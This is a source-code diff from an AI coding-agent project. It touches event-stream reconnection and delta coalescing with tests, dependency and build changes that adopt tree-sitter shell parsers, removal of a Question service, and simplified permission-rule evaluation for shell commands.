||||
const prior = currentDelta(previous)
|
||||
if (
|
||||
!current ||
|
||||
!prior ||
|
||||
previous?.location?.directory !== event.location?.directory ||
|
||||
currentDeltaKey(prior) !== currentDeltaKey(current)
|
||||
) {
|
||||
output.push(event)
|
||||
return output
|
||||
}
|
||||
const fragment = currentDeltaFragment(prior) + currentDeltaFragment(current)
|
||||
output[output.length - 1] = {
|
||||
...current,
|
||||
data:
|
||||
current.type === "session.compaction.delta"
|
||||
? { ...current.data, text: fragment }
|
||||
: { ...current.data, delta: fragment },
|
||||
} as CurrentDelta
|
||||
return output
|
||||
}, [])
|
||||
}
|
||||
|
||||
function currentDelta(event: OpenCodeEvent | undefined): CurrentDelta | undefined {
|
||||
if (
|
||||
event?.type === "session.text.delta" ||
|
||||
event?.type === "session.reasoning.delta" ||
|
||||
event?.type === "session.tool.input.delta" ||
|
||||
event?.type === "session.compaction.delta"
|
||||
)
|
||||
return event
|
||||
}
|
||||
|
||||
function currentDeltaKey(event: CurrentDelta) {
|
||||
if (event.type === "session.tool.input.delta")
|
||||
return `${event.type}:${event.data.sessionID}:${event.data.assistantMessageID}:${event.data.id}`
|
||||
if (event.type === "session.compaction.delta") return `${event.type}:${event.data.sessionID}`
|
||||
return `${event.type}:${event.data.sessionID}:${event.data.assistantMessageID}:${event.data.ordinal}`
|
||||
}
|
||||
|
||||
function currentDeltaFragment(event: CurrentDelta) {
|
||||
return event.type === "session.compaction.delta" ? event.data.text : event.data.delta
|
||||
}
|
||||
|
||||
export function createClientConnection(initialApi: OpenCodeClient, options: ClientConnectionOptions) {
|
||||
const abort = new AbortController()
|
||||
const history: ClientConnectionEvent[] = []
|
||||
const [connection, setConnection] = createStore<{
|
||||
status: ClientConnectionStatus
|
||||
attempt: number
|
||||
error?: string
|
||||
}>({ status: "connecting", attempt: 0 })
|
||||
let api = initialApi
|
||||
let pending: OpenCodeEvent[] = []
|
||||
let flushTimer: ReturnType<typeof setTimeout> | undefined
|
||||
let stream: AbortController | undefined
|
||||
let run: Promise<void> | undefined
|
||||
let started = false
|
||||
let generation = 0
|
||||
|
||||
function record(status: ClientConnectionEvent["data"]["status"], attempt: number, error?: string) {
|
||||
history.push({ type: "client.connection", created: Date.now(), data: { status, attempt, error } })
|
||||
if (history.length > connectionHistoryLimit) history.shift()
|
||||
}
|
||||
|
||||
function publish(event: OpenCodeEvent) {
|
||||
pending.push(event)
|
||||
if (flushTimer) return
|
||||
flushTimer = setTimeout(() => {
|
||||
flushTimer = undefined
|
||||
const events = pending
|
||||
pending = []
|
||||
batch(() => coalesceClientEvents(events).forEach(options.onEvent))
|
||||
}, options.flushInterval ?? 10)
|
||||
}
|
||||
|
||||
async function connect(signal: AbortSignal, attempt: number) {
|
||||
let connectedAt: number | undefined
|
||||
const request = new AbortController()
|
||||
const cancel = () => request.abort(signal.reason)
|
||||
const timeout = setTimeout(() => request.abort(new Error("Timed out connecting to server")), connectTimeout)
|
||||
signal.addEventListener("abort", cancel, { once: true })
|
||||
|
||||
try {
|
||||
record(attempt === 0 ? "connecting" : "reconnecting", attempt)
|
||||
options.log?.info?.("event stream connecting", { attempt })
|
||||
const iterator = api.event.subscribe({ signal: request.signal })[Symbol.asyncIterator]()
|
||||
const first = await iterator.next()
|
||||
if (signal.aborted) return { error: undefined, connectedAt }
|
||||
if (first.done)
|
||||
return {
|
||||
error: request.signal.reason instanceof Error ? request.signal.reason : new Error("Event stream disconnected"),
|
||||
connectedAt,
|
||||
}
|
||||
if (first.value.type !== "server.connected")
|
||||
return { error: new Error("Event stream did not start with server.connected"), connectedAt }
|
||||
|
||||
clearTimeout(timeout)
|
||||
record("connected", attempt)
|
||||
connectedAt = Date.now()
|
||||
options.log?.info?.("event stream connected")
|
||||
publish(first.value)
|
||||
setConnection({ status: "connected", attempt: 0, error: undefined })
|
||||
|
||||
while (!signal.aborted) {
|
||||
const event = await iterator.next()
|
||||
if (signal.aborted) return { error: undefined, connectedAt }
|
||||
if (event.done) return { error: new Error("Event stream disconnected"), connectedAt }
|
||||
if ("durable" in event.value)
|
||||
options.log?.debug?.("event", {
|
||||
type: event.value.type,
|
||||
aggregateID: event.value.durable.aggregateID,
|
||||
seq: event.value.durable.seq,
|
||||
})
|
||||
publish(event.value)
|
||||
}
|
||||
return { error: undefined, connectedAt }
|
||||
} catch (error) {
|
||||
return { error, connectedAt }
|
||||
} finally {
|
||||
request.abort()
|
||||
clearTimeout(timeout)
|
||||
signal.removeEventListener("abort", cancel)
|
||||
}
|
||||
}
|
||||
|
||||
async function runStream(active: number) {
|
||||
let attempt = 0
|
||||
while (!abort.signal.aborted && started && generation === active) {
|
||||
setConnection({ status: attempt === 0 ? "connecting" : "reconnecting", attempt, error: undefined })
|
||||
const controller = new AbortController()
|
||||
stream = controller
|
||||
const cancel = () => controller.abort(abort.signal.reason)
|
||||
abort.signal.addEventListener("abort", cancel)
|
||||
const result = await connect(controller.signal, attempt)
|
||||
abort.signal.removeEventListener("abort", cancel)
|
||||
if (abort.signal.aborted || !started || generation !== active) return
|
||||
if (result.connectedAt !== undefined && Date.now() - result.connectedAt >= reconnectDelay) attempt = 0
|
||||
attempt += 1
|
||||
const message = errorMessage(result.error)
|
||||
record("disconnected", attempt, message)
|
||||
options.log?.info?.("event stream disconnected", { attempt, error: message })
|
||||
setConnection({ status: "reconnecting", attempt, error: message })
|
||||
|
||||
if (options.reconnect) {
|
||||
const next = await options.reconnect(controller.signal).catch((error) => {
|
||||
if (!controller.signal.aborted)
|
||||
options.log?.info?.("server resolution failed", { attempt, error: errorMessage(error) })
|
||||
})
|
||||
if (abort.signal.aborted || controller.signal.aborted || !started || generation !== active) return
|
||||
if (next) {
|
||||
api = next
|
||||
if (attempt === 1) continue
|
||||
}
|
||||
}
|
||||
await wait(reconnectDelay, controller.signal)
|
||||
}
|
||||
}
|
||||
|
||||
function start() {
|
||||
if (started) return run
|
||||
started = true
|
||||
const active = ++generation
|
||||
const previous = run
|
||||
const current = (async () => {
|
||||
if (previous) await previous
|
||||
await runStream(active)
|
||||
})().finally(() => {
|
||||
if (run !== current) return
|
||||
run = undefined
|
||||
})
|
||||
run = current
|
||||
return run
|
||||
}
|
||||
|
||||
function stop() {
|
||||
started = false
|
||||
generation += 1
|
||||
stream?.abort()
|
||||
}
|
||||
|
||||
onMount(() => {
|
||||
if (options.pageLifecycle) {
|
||||
const pagehide = () => stop()
|
||||
const pageshow = (event: PageTransitionEvent) => {
|
||||
if (event.persisted) void start()
|
||||
}
|
||||
window.addEventListener("pagehide", pagehide)
|
||||
window.addEventListener("pageshow", pageshow)
|
||||
onCleanup(() => {
|
||||
window.removeEventListener("pagehide", pagehide)
|
||||
window.removeEventListener("pageshow", pageshow)
|
||||
})
|
||||
}
|
||||
void start()
|
||||
})
|
||||
|
||||
onCleanup(() => {
|
||||
stop()
|
||||
abort.abort()
|
||||
if (flushTimer) clearTimeout(flushTimer)
|
||||
pending = []
|
||||
})
|
||||
|
||||
return {
|
||||
status: () => connection.status,
|
||||
attempt: () => connection.attempt,
|
||||
error: () => connection.error,
|
||||
internal: {
|
||||
history: () => history.slice(),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
function errorMessage(error: unknown) {
|
||||
if (error === undefined) return undefined
|
||||
if (error instanceof Error) return error.message
|
||||
return String(error)
|
||||
}
|
||||
|
||||
function wait(delay: number, signal: AbortSignal) {
|
||||
return new Promise<void>((resolve) => {
|
||||
const timer = setTimeout(done, delay)
|
||||
signal.addEventListener("abort", done, { once: true })
|
||||
function done() {
|
||||
clearTimeout(timer)
|
||||
signal.removeEventListener("abort", done)
|
||||
resolve()
|
||||
}
|
||||
})
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,2 +0,0 @@
|
||||
export * from "./data"
|
||||
export * from "./connection"
|
||||
@@ -1,44 +0,0 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import type { OpenCodeEvent } from "../src/promise"
|
||||
import { coalesceClientEvents } from "../src/solid/connection"
|
||||
|
||||
describe("coalesceClientEvents", () => {
|
||||
const delta = (id: string, value: string, ordinal = 0) =>
|
||||
({
|
||||
id,
|
||||
created: 1,
|
||||
type: "session.text.delta",
|
||||
location: { directory: "/repo" },
|
||||
data: { sessionID: "ses", assistantMessageID: "msg", ordinal, delta: value },
|
||||
}) as OpenCodeEvent
|
||||
|
||||
test("merges adjacent deltas for the same stream", () => {
|
||||
const result = coalesceClientEvents([delta("evt_1", "hello "), delta("evt_2", "world")])
|
||||
expect(result).toHaveLength(1)
|
||||
expect(result[0]).toMatchObject({ id: "evt_2", data: { delta: "hello world" } })
|
||||
})
|
||||
|
||||
test("coalesces tool input deltas by tool ID", () => {
|
||||
const current = (eventID: string, id: string, value: string) =>
|
||||
({
|
||||
id: eventID,
|
||||
created: 1,
|
||||
type: "session.tool.input.delta",
|
||||
location: { directory: "/repo" },
|
||||
data: { sessionID: "ses", assistantMessageID: "msg", id, delta: value },
|
||||
}) as OpenCodeEvent
|
||||
const result = coalesceClientEvents([
|
||||
current("evt_1", "call_1", "{"),
|
||||
current("evt_2", "call_1", "}"),
|
||||
current("evt_3", "call_2", "[]"),
|
||||
])
|
||||
expect(result).toHaveLength(2)
|
||||
expect(result[0]).toMatchObject({ id: "evt_2", data: { id: "call_1", delta: "{}" } })
|
||||
expect(result[1]).toMatchObject({ id: "evt_3", data: { id: "call_2", delta: "[]" } })
|
||||
})
|
||||
|
||||
test("preserves boundaries between distinct delta streams", () => {
|
||||
const events = [delta("evt_1", "a"), delta("evt_2", "b", 1), delta("evt_3", "c")]
|
||||
expect(coalesceClientEvents(events).map((event) => event.id)).toEqual(["evt_1", "evt_2", "evt_3"])
|
||||
})
|
||||
})
|
||||
@@ -53,6 +53,12 @@
|
||||
"node": "./src/image/photon-wasm.node.ts",
|
||||
"default": "./src/image/photon-wasm.bun.ts"
|
||||
},
|
||||
"#shell-parser-wasm": {
|
||||
"workerd": "./src/shell/parser-wasm.workerd.ts",
|
||||
"bun": "./src/shell/parser-wasm.bun.ts",
|
||||
"node": "./src/shell/parser-wasm.node.ts",
|
||||
"default": "./src/shell/parser-wasm.bun.ts"
|
||||
},
|
||||
"#process-lock-ffi": {
|
||||
"workerd": "./src/util/process-lock-ffi.workerd.ts",
|
||||
"bun": "./src/util/process-lock-ffi.bun.ts",
|
||||
@@ -74,7 +80,6 @@
|
||||
"@types/bun": "catalog:",
|
||||
"@types/node": "catalog:",
|
||||
"@types/which": "3.0.4",
|
||||
"@opencode-ai/shell-scan": "workspace:*",
|
||||
"@parcel/watcher-darwin-arm64": "2.5.1",
|
||||
"@parcel/watcher-darwin-x64": "2.5.1",
|
||||
"@parcel/watcher-linux-arm64-glibc": "2.5.1",
|
||||
@@ -131,7 +136,10 @@
|
||||
"ignore": "7.0.5",
|
||||
"jsonc-parser": "3.3.1",
|
||||
"mime-types": "3.0.2",
|
||||
"tree-sitter-bash": "0.25.0",
|
||||
"tree-sitter-powershell": "0.25.10",
|
||||
"venice-ai-sdk-provider": "2.1.1",
|
||||
"web-tree-sitter": "0.25.10",
|
||||
"which": "6.0.1",
|
||||
"zod": "catalog:"
|
||||
}
|
||||
|
||||
@@ -19,17 +19,7 @@ const result = await Bun.build({
|
||||
target: "node",
|
||||
format: "esm",
|
||||
packages: "external",
|
||||
external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#process-lock-ffi", "#v1-migration"],
|
||||
plugins: [
|
||||
{
|
||||
name: "bundle-shell-scan",
|
||||
setup(build) {
|
||||
build.onResolve({ filter: /^@opencode-ai\/shell-scan$/ }, () => ({
|
||||
path: path.resolve("../shell-scan/src/index.ts"),
|
||||
}))
|
||||
},
|
||||
},
|
||||
],
|
||||
external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#shell-parser-wasm", "#process-lock-ffi", "#v1-migration"],
|
||||
splitting: true,
|
||||
loader: {
|
||||
".txt": "text",
|
||||
|
||||
@@ -27,7 +27,6 @@ import { Plugin } from "./plugin.js"
|
||||
import { PluginSupervisor } from "./plugin/supervisor.js"
|
||||
import { Worktree } from "./worktree.js"
|
||||
import { Pty } from "./pty.js"
|
||||
import { Question } from "./question.js"
|
||||
import { Shell } from "./shell.js"
|
||||
import { Reference } from "./reference.js"
|
||||
import { WebSearch } from "./websearch.js"
|
||||
@@ -86,7 +85,6 @@ const locationServiceNodes = [
|
||||
ReferenceInstructions.node,
|
||||
InstructionEntry.node,
|
||||
Form.node,
|
||||
Question.node,
|
||||
Generate.node,
|
||||
SessionGenerateNode.node,
|
||||
ReadToolFileSystem.node,
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
export * as Permission from "./permission.js"
|
||||
|
||||
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
|
||||
import { Context, Deferred, Effect, Layer, Schema, Struct } from "effect"
|
||||
import { Context, Deferred, Effect, Layer, Schema } from "effect"
|
||||
import { Permission } from "@opencode-ai/schema/permission"
|
||||
import { Bus } from "./bus.js"
|
||||
import { Location } from "./location.js"
|
||||
@@ -23,6 +23,15 @@ export type ID = typeof ID.Type
|
||||
export const Source = Permission.Source
|
||||
export type Source = typeof Source.Type
|
||||
|
||||
const RequestFields = {
|
||||
sessionID: Permission.Request.fields.sessionID,
|
||||
action: Permission.Request.fields.action,
|
||||
resources: Permission.Request.fields.resources,
|
||||
save: Permission.Request.fields.save,
|
||||
metadata: Permission.Request.fields.metadata,
|
||||
source: Permission.Request.fields.source,
|
||||
}
|
||||
|
||||
export const Request = Permission.Request
|
||||
export type Request = typeof Request.Type
|
||||
|
||||
@@ -31,7 +40,7 @@ export type Reply = typeof Reply.Type
|
||||
|
||||
export const AssertInput = Schema.Struct({
|
||||
id: ID.pipe(Schema.optional),
|
||||
...Struct.omit(Permission.Request.fields, ["id"]),
|
||||
...RequestFields,
|
||||
agent: Agent.ID.pipe(Schema.optional),
|
||||
}).annotate({ identifier: "Permission.AssertInput" })
|
||||
export type AssertInput = typeof AssertInput.Type
|
||||
@@ -85,16 +94,6 @@ export function evaluate(action: string, resource: string, ...rulesets: Permissi
|
||||
)
|
||||
}
|
||||
|
||||
function evaluateOpaque(action: string, rules: Permission.Ruleset): Permission.Rule {
|
||||
return (
|
||||
rules.findLast((rule) => Wildcard.match(action, rule.action) && rule.resource === "*") ?? {
|
||||
action,
|
||||
resource: "*",
|
||||
effect: "ask",
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
export function merge(...rulesets: Permission.Ruleset[]): Permission.Ruleset {
|
||||
return rulesets.flat()
|
||||
}
|
||||
@@ -179,13 +178,6 @@ const layer = Layer.effect(
|
||||
})
|
||||
|
||||
function denied(input: AssertInput, rules: Permission.Ruleset) {
|
||||
if (input.opaque)
|
||||
return rules.some(
|
||||
(rule) =>
|
||||
rule.effect === "deny" &&
|
||||
Wildcard.match(input.action, rule.action) &&
|
||||
input.resources.some((resource) => resource === "*" || Wildcard.match(resource, rule.resource)),
|
||||
)
|
||||
return input.resources.some((resource) => evaluate(input.action, resource, rules).effect === "deny")
|
||||
}
|
||||
|
||||
@@ -195,27 +187,9 @@ const layer = Layer.effect(
|
||||
|
||||
const evaluateInput = Effect.fnUntraced(function* (input: AssertInput) {
|
||||
const rules = yield* configured(input.sessionID, input.agent)
|
||||
if (input.resources.length === 0) return { effect: "deny" as const, rules }
|
||||
if (denied(input, rules)) return { effect: "deny" as const, rules }
|
||||
if (
|
||||
input.opaque &&
|
||||
rules.some(
|
||||
(rule) => rule.effect !== "allow" && rule.resource !== "*" && Wildcard.match(input.action, rule.action),
|
||||
)
|
||||
)
|
||||
return { effect: "ask" as const, rules }
|
||||
const saved = yield* savedRules()
|
||||
if (
|
||||
input.opaque &&
|
||||
input.resources.every((resource) =>
|
||||
saved.some((rule) => Wildcard.match(input.action, rule.action) && rule.resource === resource),
|
||||
)
|
||||
)
|
||||
return { effect: "allow" as const, rules: [...rules, ...saved] }
|
||||
const all = [...rules, ...saved]
|
||||
const effects = input.opaque
|
||||
? [evaluateOpaque(input.action, all).effect]
|
||||
: input.resources.map((resource) => evaluate(input.action, resource, all).effect)
|
||||
const all = [...rules, ...(yield* savedRules())]
|
||||
const effects = input.resources.map((resource) => evaluate(input.action, resource, all).effect)
|
||||
const effect: Permission.Effect = effects.includes("deny") ? "deny" : effects.includes("ask") ? "ask" : "allow"
|
||||
return { effect, rules: all }
|
||||
})
|
||||
@@ -226,8 +200,7 @@ const layer = Layer.effect(
|
||||
sessionID: input.sessionID,
|
||||
action: input.action,
|
||||
resources: input.resources,
|
||||
save: input.opaque ? input.resources : input.save,
|
||||
opaque: input.opaque,
|
||||
save: input.save,
|
||||
metadata: input.metadata,
|
||||
source: input.source,
|
||||
}
|
||||
@@ -326,11 +299,21 @@ const layer = Layer.effect(
|
||||
pending.delete(input.requestID)
|
||||
if (input.reply !== "always" || !existing.request.save?.length) return
|
||||
|
||||
const rememberedRules = yield* savedRules()
|
||||
for (const [id, item] of pending) {
|
||||
const result = yield* evaluateInput({ ...item.request, agent: item.agent }).pipe(
|
||||
const input = { ...item.request }
|
||||
const rules = yield* configured(item.request.sessionID, item.agent).pipe(
|
||||
Effect.catchTag("Session.NotFoundError", () => Effect.succeed(undefined)),
|
||||
)
|
||||
if (!result || result.effect !== "allow") continue
|
||||
if (!rules) continue
|
||||
if (denied(input, rules)) continue
|
||||
const effective = [...rules, ...rememberedRules]
|
||||
if (
|
||||
!item.request.resources.every(
|
||||
(resource) => evaluate(item.request.action, resource, effective).effect === "allow",
|
||||
)
|
||||
)
|
||||
continue
|
||||
yield* bus.publish(Permission.Event.Replied, {
|
||||
sessionID: item.request.sessionID,
|
||||
requestID: item.request.id,
|
||||
|
||||
@@ -1,151 +0,0 @@
|
||||
export * as Question from "./question.js"
|
||||
|
||||
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
|
||||
import { Context, Deferred, Effect, Layer, Schema } from "effect"
|
||||
import { Question } from "@opencode-ai/schema/question"
|
||||
import { Bus } from "./bus.js"
|
||||
import { SessionSchema } from "./session/schema.js"
|
||||
|
||||
export const ID = Question.ID
|
||||
export type ID = typeof ID.Type
|
||||
|
||||
export const Option = Question.Option
|
||||
export type Option = typeof Option.Type
|
||||
|
||||
export const Info = Question.Info
|
||||
export type Info = typeof Info.Type
|
||||
|
||||
export const Prompt = Question.Prompt
|
||||
export type Prompt = typeof Prompt.Type
|
||||
|
||||
export const Tool = Question.Tool
|
||||
export type Tool = typeof Tool.Type
|
||||
|
||||
export const Request = Question.Request
|
||||
export type Request = typeof Request.Type
|
||||
|
||||
export const Answer = Question.Answer
|
||||
export type Answer = typeof Answer.Type
|
||||
|
||||
export const Reply = Question.Reply
|
||||
export type Reply = typeof Reply.Type
|
||||
|
||||
export { Event } from "@opencode-ai/schema/question"
|
||||
|
||||
export class RejectedError extends Schema.TaggedErrorClass<RejectedError>()("Question.RejectedError", {}) {
|
||||
override get message() {
|
||||
return "The user dismissed this question"
|
||||
}
|
||||
}
|
||||
|
||||
export class NotFoundError extends Schema.TaggedErrorClass<NotFoundError>()("Question.NotFoundError", {
|
||||
requestID: ID,
|
||||
}) {}
|
||||
|
||||
export interface AskInput {
|
||||
readonly sessionID: SessionSchema.ID
|
||||
readonly questions: ReadonlyArray<Info>
|
||||
readonly tool?: Tool
|
||||
}
|
||||
|
||||
export interface ReplyInput {
|
||||
readonly requestID: ID
|
||||
readonly answers: ReadonlyArray<Answer>
|
||||
}
|
||||
|
||||
export interface Interface {
|
||||
readonly ask: (input: AskInput) => Effect.Effect<ReadonlyArray<Answer>, RejectedError>
|
||||
readonly reply: (input: ReplyInput) => Effect.Effect<void, NotFoundError>
|
||||
readonly reject: (requestID: ID) => Effect.Effect<void, NotFoundError>
|
||||
readonly list: () => Effect.Effect<ReadonlyArray<Request>>
|
||||
}
|
||||
|
||||
export class Service extends Context.Service<Service, Interface>()("@opencode/Question") {}
|
||||
|
||||
interface Pending {
|
||||
readonly request: Request
|
||||
readonly deferred: Deferred.Deferred<ReadonlyArray<Answer>, RejectedError>
|
||||
}
|
||||
|
||||
/**
|
||||
* Location-owned pending prompts. The Location layer map must materialize this
|
||||
* layer once per embedded Location so replies cannot settle another Location's
|
||||
* deferred request.
|
||||
*/
|
||||
const layer = Layer.effect(
|
||||
Service,
|
||||
Effect.gen(function* () {
|
||||
const bus = yield* Bus.Service
|
||||
const pending = new Map<ID, Pending>()
|
||||
|
||||
yield* Effect.addFinalizer(() =>
|
||||
Effect.forEach(pending.values(), (item) => Deferred.fail(item.deferred, new RejectedError()), {
|
||||
discard: true,
|
||||
}).pipe(
|
||||
Effect.ensuring(
|
||||
Effect.sync(() => {
|
||||
pending.clear()
|
||||
}),
|
||||
),
|
||||
),
|
||||
)
|
||||
|
||||
const ask = Effect.fn("Question.ask")((input: AskInput) =>
|
||||
Effect.uninterruptibleMask((restore) =>
|
||||
Effect.gen(function* () {
|
||||
const id = ID.ascending()
|
||||
const deferred = yield* Deferred.make<ReadonlyArray<Answer>, RejectedError>()
|
||||
const request: Request = { id, ...input }
|
||||
pending.set(id, { request, deferred })
|
||||
return yield* bus.publish(Question.Event.Asked, request).pipe(
|
||||
Effect.andThen(restore(Deferred.await(deferred))),
|
||||
Effect.ensuring(
|
||||
Effect.sync(() => {
|
||||
pending.delete(id)
|
||||
}),
|
||||
),
|
||||
)
|
||||
}),
|
||||
),
|
||||
)
|
||||
|
||||
const reply = Effect.fn("Question.reply")((input: ReplyInput) =>
|
||||
Effect.uninterruptible(
|
||||
Effect.gen(function* () {
|
||||
const existing = pending.get(input.requestID)
|
||||
if (!existing) return yield* new NotFoundError({ requestID: input.requestID })
|
||||
yield* bus.publish(Question.Event.Replied, {
|
||||
sessionID: existing.request.sessionID,
|
||||
requestID: existing.request.id,
|
||||
answers: input.answers.map((answer) => [...answer]),
|
||||
})
|
||||
yield* Deferred.succeed(existing.deferred, input.answers)
|
||||
pending.delete(input.requestID)
|
||||
}),
|
||||
),
|
||||
)
|
||||
|
||||
const reject = Effect.fn("Question.reject")((requestID: ID) =>
|
||||
Effect.uninterruptible(
|
||||
Effect.gen(function* () {
|
||||
const existing = pending.get(requestID)
|
||||
if (!existing) return yield* new NotFoundError({ requestID })
|
||||
yield* bus.publish(Question.Event.Rejected, {
|
||||
sessionID: existing.request.sessionID,
|
||||
requestID: existing.request.id,
|
||||
})
|
||||
yield* Deferred.fail(existing.deferred, new RejectedError())
|
||||
pending.delete(requestID)
|
||||
}),
|
||||
),
|
||||
)
|
||||
|
||||
const list = Effect.fn("Question.list")(function* () {
|
||||
return Array.from(pending.values(), (item) => item.request)
|
||||
})
|
||||
|
||||
return Service.of({ ask, reply, reject, list })
|
||||
}),
|
||||
)
|
||||
|
||||
export const node = makeLocationNode({ service: Service, layer, deps: [Bus.node] })
|
||||
@@ -2,7 +2,6 @@ import { AIError, ToolFailure } from "@opencode-ai/ai"
|
||||
import { Tool } from "@opencode-ai/schema/tool"
|
||||
import { SessionError } from "@opencode-ai/schema/session-error"
|
||||
import { Permission } from "../permission.js"
|
||||
import { Question } from "../question.js"
|
||||
import { Integration } from "../integration.js"
|
||||
import { AgentNotFoundError, StepFailedError, UserInterruptedError } from "./error.js"
|
||||
import { SessionRunnerModel } from "./runner/model.js"
|
||||
@@ -37,7 +36,6 @@ export function toSessionError(cause: unknown): SessionError.Error {
|
||||
}
|
||||
}
|
||||
if (cause instanceof Permission.BlockedError) return { type: "permission.rejected", message: cause.message }
|
||||
if (cause instanceof Question.RejectedError) return { type: "aborted", message: cause.message }
|
||||
if (cause instanceof ToolFailure || cause instanceof Tool.Error) {
|
||||
if (cause.error === undefined) return { type: "tool.execution", message: cause.message }
|
||||
// The canonical error is the sole model-visible representation, so a cause
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
export * as ShellParse from "./parse.js"
|
||||
|
||||
import { Effect } from "effect"
|
||||
import { ShellScan } from "@opencode-ai/shell-scan"
|
||||
import { fileURLToPath } from "url"
|
||||
import os from "os"
|
||||
import path from "path"
|
||||
import type { Node } from "web-tree-sitter"
|
||||
import { shellParserWasm } from "#shell-parser-wasm"
|
||||
import { ShellSelect } from "./select.js"
|
||||
|
||||
const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location", "sl"])
|
||||
type Part = { type: string; text: string }
|
||||
const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"])
|
||||
const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"])
|
||||
|
||||
const ARITY: Record<string, number> = {
|
||||
@@ -150,71 +153,77 @@ const ARITY: Record<string, number> = {
|
||||
}
|
||||
|
||||
export const scan = Effect.fn("ShellParse.scan")(function* (command: string, shell: string, cwd: string) {
|
||||
return scanCommands(command, cwd, shell, ShellSelect.ps(shell))
|
||||
const parsers = yield* Effect.promise(load)
|
||||
const powershell = ShellSelect.ps(shell)
|
||||
const tree = (powershell ? parsers.ps : parsers.bash).parse(command)
|
||||
if (!tree) return yield* Effect.fail(new Error("Failed to parse shell command"))
|
||||
|
||||
return yield* Effect.acquireUseRelease(
|
||||
Effect.succeed(tree),
|
||||
(tree) =>
|
||||
Effect.sync(() =>
|
||||
tree.rootNode.descendantsOfType("command").reduce(
|
||||
(result, node) => {
|
||||
if (!node) return result
|
||||
const command = parts(node)
|
||||
const tokens = command.map((part) => part.text)
|
||||
if (tokens.length === 0) return result
|
||||
const name = powershell ? tokens[0].toLowerCase() : tokens[0]
|
||||
if (CWD.has(name)) {
|
||||
result.directories.push(...directoryArgs(command, powershell, cwd, shell))
|
||||
return result
|
||||
}
|
||||
result.commands.push({
|
||||
resource: (node.parent?.type === "redirected_statement" ? node.parent.text : node.text).trim(),
|
||||
save: `${prefix(tokens).join(" ")} *`,
|
||||
})
|
||||
return result
|
||||
},
|
||||
{ commands: [] as Array<{ resource: string; save: string }>, directories: [] as string[] },
|
||||
),
|
||||
),
|
||||
(tree) => Effect.sync(() => tree.delete()),
|
||||
)
|
||||
})
|
||||
|
||||
function scanCommands(command: string, cwd: string, shell: string, powershell: boolean) {
|
||||
const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
|
||||
if (result.kind === "opaque")
|
||||
return {
|
||||
commands: [{ resource: command, save: command }],
|
||||
directories: [],
|
||||
opaque: true,
|
||||
directoryUnknown: true,
|
||||
}
|
||||
if (
|
||||
result.commands.some((item) => {
|
||||
const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
|
||||
if (!name || !CWD.has(name) || name === "popd" || name === "pop-location") return false
|
||||
return directoryArgs(item.words, powershell, cwd, shell).length === 0
|
||||
})
|
||||
)
|
||||
return { commands: [{ resource: command }], directories: [], opaque: true, directoryUnknown: true }
|
||||
return result.commands.reduce(
|
||||
(output, item) => {
|
||||
const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
|
||||
if (!name) return output
|
||||
if (CWD.has(name)) {
|
||||
output.directories.push(...directoryArgs(item.words, powershell, cwd, shell))
|
||||
return output
|
||||
}
|
||||
output.commands.push({ resource: item.resource, save: `${prefix(item.words).join(" ")} *` })
|
||||
return output
|
||||
},
|
||||
{
|
||||
commands: [] as Array<{ resource: string; save: string }>,
|
||||
directories: [] as string[],
|
||||
opaque: false,
|
||||
},
|
||||
)
|
||||
function parts(node: Node) {
|
||||
return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => {
|
||||
const child = node.child(index)
|
||||
if (!child) return []
|
||||
if (child.type === "command_elements")
|
||||
return Array.from({ length: child.childCount }).flatMap((_, itemIndex): Part[] => {
|
||||
const item = child.child(itemIndex)
|
||||
if (!item || item.type === "command_argument_sep" || item.type === "redirection") return []
|
||||
return [{ type: item.type, text: item.text }]
|
||||
})
|
||||
if (!["command_name", "command_name_expr", "word", "string", "raw_string", "concatenation"].includes(child.type))
|
||||
return []
|
||||
return [{ type: child.type, text: child.text }]
|
||||
})
|
||||
}
|
||||
|
||||
function directoryArgs(command: string[], powershell: boolean, cwd: string, shell: string) {
|
||||
if (!powershell) {
|
||||
const values = command
|
||||
function directoryArgs(command: Part[], powershell: boolean, cwd: string, shell: string) {
|
||||
if (!powershell)
|
||||
return command
|
||||
.slice(1)
|
||||
.filter((part) => !part.startsWith("-"))
|
||||
.map((part) => directoryArgument(part, powershell, cwd, shell))
|
||||
.filter((part) => !part.text.startsWith("-"))
|
||||
.map((part) => directoryArgument(part.text, powershell, cwd, shell))
|
||||
.filter((part) => part !== undefined)
|
||||
if (command[0] === "cd" && (values.length !== 1 || (!path.isAbsolute(values[0]) && Boolean(process.env.CDPATH))))
|
||||
return []
|
||||
return values
|
||||
}
|
||||
|
||||
const directories: string[] = []
|
||||
let expectsPath = false
|
||||
let path = false
|
||||
for (const part of command.slice(1)) {
|
||||
if (expectsPath) {
|
||||
const value = directoryArgument(part, powershell, cwd, shell)
|
||||
if (path) {
|
||||
const value = directoryArgument(part.text, powershell, cwd, shell)
|
||||
if (value) directories.push(value)
|
||||
expectsPath = false
|
||||
path = false
|
||||
continue
|
||||
}
|
||||
if (part.startsWith("-")) {
|
||||
expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase())
|
||||
if (part.type === "command_parameter") {
|
||||
path = POWERSHELL_PATH_FLAGS.has(part.text.toLowerCase())
|
||||
continue
|
||||
}
|
||||
const value = directoryArgument(part, powershell, cwd, shell)
|
||||
const value = directoryArgument(part.text, powershell, cwd, shell)
|
||||
if (value) directories.push(value)
|
||||
}
|
||||
return directories
|
||||
@@ -244,7 +253,6 @@ function expandKnownDirectory(value: string) {
|
||||
if (value.includes("$") || value.includes("`") || value.startsWith("(")) return
|
||||
if (value === "~") return os.homedir()
|
||||
if (value.startsWith("~/") || value.startsWith("~\\")) return path.join(os.homedir(), value.slice(2))
|
